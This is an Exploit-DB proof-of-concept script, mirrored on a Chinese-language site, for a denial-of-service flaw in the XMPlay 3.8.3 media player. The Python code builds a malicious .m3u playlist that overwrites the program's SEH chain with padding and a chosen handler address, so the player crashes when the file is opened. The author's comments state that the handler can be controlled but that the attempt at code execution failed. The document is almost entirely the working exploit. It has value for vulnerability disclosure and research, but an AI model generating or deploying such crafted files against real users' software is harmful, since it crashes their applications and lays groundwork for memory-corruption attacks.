XMPlay 3.8.3 – ‘.m3u’ Denial of Service (PoC)

  • 作者: s7acktrac3
    日期: 2018-11-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45887/
  • # Exploit Title: XMPlay 3.8.3 - '.m3u' Denial of Service (PoC)
    # Date: 2018-11-18
    # Exploit Author: s7acktrac3
    # Vendor Homepage: https://www.xmplay.com/
    # Software Link: https://support.xmplay.com/files_view.php?file_id=676
    # Version: 3.8.3 (latest)
    # Tested on: Windows XP/7/8
    # CVE : N/A
    #
    # Lauch XMPlay and either drag xmplay.m3u into the XMPlay window or
    # File Menu-> select winamp.m3u and Crash!
    # -*- coding: utf-8 -*-
    #
    # Note: Successfully can overwrite the SEH chain & control the handler and nSEH
    # but the address get mangled & unreconizable, for this reason could not turn into
    # code execution.
    
    import struct
    from struct import pack
    
    file_data = "#EXTM3U\n\r"
    file_data += "#EXTINF:200,Sleep Away\n\r"
    file_data += "http://test."
    
    max_size = 3000 - 1
    nseh_offset = 656
    
    seh_overwrite = pack("<L", 0x00402450)
    
    payload = "A" * nseh_offset	# padding for nseh
    payload += "BBBB"				# nseh
    payload += seh_overwrite		# seh
    
    #padding for rest of payload - pipe "|" is needed somehow to force crash 
    payload += "D" *(max_size - len(payload)) + "|"
    print "[+] Creating .m3u file with payload size: "+ str(len(payload))
    
    exploit = file_data + payload
    
    file = open('xmplay.m3u','w');
    file.write(exploit);
    file.close();
     
    print "[+] Done creating the file"